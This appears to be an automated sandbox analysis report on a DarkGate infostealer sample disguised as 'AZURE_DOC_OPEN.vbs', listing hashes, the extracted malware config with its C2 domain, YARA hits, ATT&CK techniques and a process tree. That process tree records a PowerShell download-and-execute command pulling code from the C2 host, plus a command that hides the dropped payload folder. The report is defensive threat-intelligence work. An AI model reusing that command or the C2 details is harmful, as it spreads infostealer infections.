darkgate | b3a8c88bdd9701a5ca532e0b433944e0992a3ae90e0bb974b2d091b2a01efb94

General

Target

AZURE_DOC_OPEN.vbs
Size

12KB
MD5

802e03ffd6498ec9693848197fe4d2e5
SHA1

958dfdadcd0f21d801561b94c23b8b3d6e5f4688
SHA256

b3a8c88bdd9701a5ca532e0b433944e0992a3ae90e0bb974b2d091b2a01efb94
SHA512

06d886eb039d120372a112c1f2c1a399d788800bd6ffc5892dd9e38f6ee4f8c7c2125e654248f2df24016276fedd52c6f7f30146d34a46ccb217b72abcbefb4a
SSDEEP

192:oMg119gkCtL3IqSPN3QzGNzUoNzhLnOdEpeLSHZgNdPR/Dnm9V4nN6UX:Ty19gR3IquNgzG2oNdOdEpeeqlPX

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

badbutperfect.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
WZqqpfdY
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral1/memory/912-69-0x0000000004940000-0x00000000049B3000-memory.dmp	family_darkgate_v6
behavioral1/memory/912-70-0x0000000004940000-0x00000000049B3000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	4120	powershell.exe
4	4120	powershell.exe
5	4120	powershell.exe
6	4120	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
912	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4120	powershell.exe
4120	powershell.exe
4120	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4120	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4544 wrote to memory of 4120	4544	WScript.exe	75
PID 4544 wrote to memory of 4120	4544	WScript.exe	75
PID 4120 wrote to memory of 912	4120	powershell.exe	77
PID 4120 wrote to memory of 912	4120	powershell.exe	77
PID 4120 wrote to memory of 912	4120	powershell.exe	77
PID 4120 wrote to memory of 3024	4120	powershell.exe	78
PID 4120 wrote to memory of 3024	4120	powershell.exe	78

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3024	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AZURE_DOC_OPEN.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\rimz\AutoHotkey.exe
    "C:\rimz\AutoHotkey.exe" script.ahk
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:912
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/rimz
    3⤵
    - Views/modifies file attributes
    PID:3024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ovfeuip3.o2h.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

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C:\rimz\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

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C:\rimz\script.ahk

Filesize
54KB

MD5
f02f0bba1f1f678da41abafd02f4c545

SHA1
c40b80bc4947d4ac52bc9c17d6d218b1fa9cd452

SHA256
5aac7d31149048763e688878c3910ae4881826db80e078754f5d08f2c1f39572

SHA512
8b56e388781a9fb855d8352f2cf175a7e0c5bb36bacd79be719ffa0c9f4c9f6e852bd460b6e9b0b7ea47ff38aa803e43a2366bf7a2686905c05bdd9e231b5b22

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C:\rimz\test.txt

Filesize
915KB

MD5
4e1b052f107d2ee5321b44fc0e107638

SHA1
679e1f8006a2d6ed61f0dbaf5e9d3cd252421cd4

SHA256
a39dba6db04a85050ba7949881769f4b006b4a8edf691a605bfa5fe7c24d3489

SHA512
5c4d1907ef2cbc894e8e33d268160a88e9db2d1a081676cba9d8fcfda4c120458a2ed90d44b2963accc842b03fac9bf231145d5991899bf6ab4871d9b65c2cb1

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memory/912-70-0x0000000004940000-0x00000000049B3000-memory.dmp

Filesize
460KB

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memory/912-69-0x0000000004940000-0x00000000049B3000-memory.dmp

Filesize
460KB

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memory/4120-7-0x0000027D279A0000-0x0000027D279C2000-memory.dmp

Filesize
136KB

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memory/4120-30-0x0000027D28330000-0x0000027D284F2000-memory.dmp

Filesize
1.8MB

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memory/4120-25-0x0000027D0F260000-0x0000027D0F270000-memory.dmp

Filesize
64KB

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memory/4120-10-0x0000027D27B50000-0x0000027D27BC6000-memory.dmp

Filesize
472KB

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memory/4120-4-0x00007FFC331D0000-0x00007FFC33BBC000-memory.dmp

Filesize
9.9MB

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memory/4120-67-0x00007FFC331D0000-0x00007FFC33BBC000-memory.dmp

Filesize
9.9MB

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memory/4120-5-0x0000027D0F260000-0x0000027D0F270000-memory.dmp

Filesize
64KB

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memory/4120-6-0x0000027D0F260000-0x0000027D0F270000-memory.dmp

Filesize
64KB

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